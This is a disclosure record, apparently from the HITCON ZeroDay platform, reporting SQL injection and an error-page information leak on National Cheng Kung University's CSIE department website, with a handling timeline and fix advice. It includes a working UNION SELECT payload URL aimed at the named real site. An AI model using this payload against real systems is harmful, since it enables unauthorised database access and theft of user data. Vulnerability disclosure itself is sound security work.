Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2017-00470
- Vendor: 國立成功大學
- Title: 國立成功大學資訊工程學系 存在SQL Injection、資訊洩漏
- Introduction: SQL 漏洞、資訊洩漏
處理狀態
目前狀態
公開
Last Update : 2017/08/02
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2017/06/02 19:46:08 : 新提交 (由 aaa 更新此狀態)
- 2017/06/02 19:46:30 : 新提交 (由 aaa 更新此狀態)
- 2017/06/02 19:46:40 : 新提交 (由 aaa 更新此狀態)
- 2017/06/02 20:27:29 : 審核完成 (由 HITCON ZeroDay 平台自動更新)
- 2017/06/03 17:13:48 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2017/06/03 17:13:49 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2017/08/02 03:00:08 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2017-00470
- 通報者:honc (aaa)
- 風險:中
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
Payload:
http://www.csie.ncku.edu.tw/ncku_csie/announce/oldnewview?content=NEWS&ID=-1354%20union%20select%201%2C2%2CCONCAT_WS(CHAR(32%2C58%2C32)%2Cuser()%2Cversion())%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%20--
Page Error:
http://www.csie.ncku.edu.tw/msic/msic.php
http://www.csie.ncku.edu.tw/new_big5/nckucsie/
http://www.csie.ncku.edu.tw/ncku_csie/announce/oldnewview?content=NEWS&ID=-1354%20union%20select%201%2C2%2CCONCAT_WS(CHAR(32%2C58%2C32)%2Cuser()%2Cversion())%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%20--
Page Error:
http://www.csie.ncku.edu.tw/msic/msic.php
http://www.csie.ncku.edu.tw/new_big5/nckucsie/
敘述
也是直接把語句帶入到查詢導致可直接構造語句Search 資料庫表,另外頁面可能在撰寫上有誤導致錯誤洩漏幾行顯示在Page
修補建議
要確切的檢查輸出任何可能造成影響及嚴謹的檢查,任何客戶端所輸入的值不能被信任,只能從伺服端校驗
SQL 漏洞可以採用 Prepared statement 修復
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。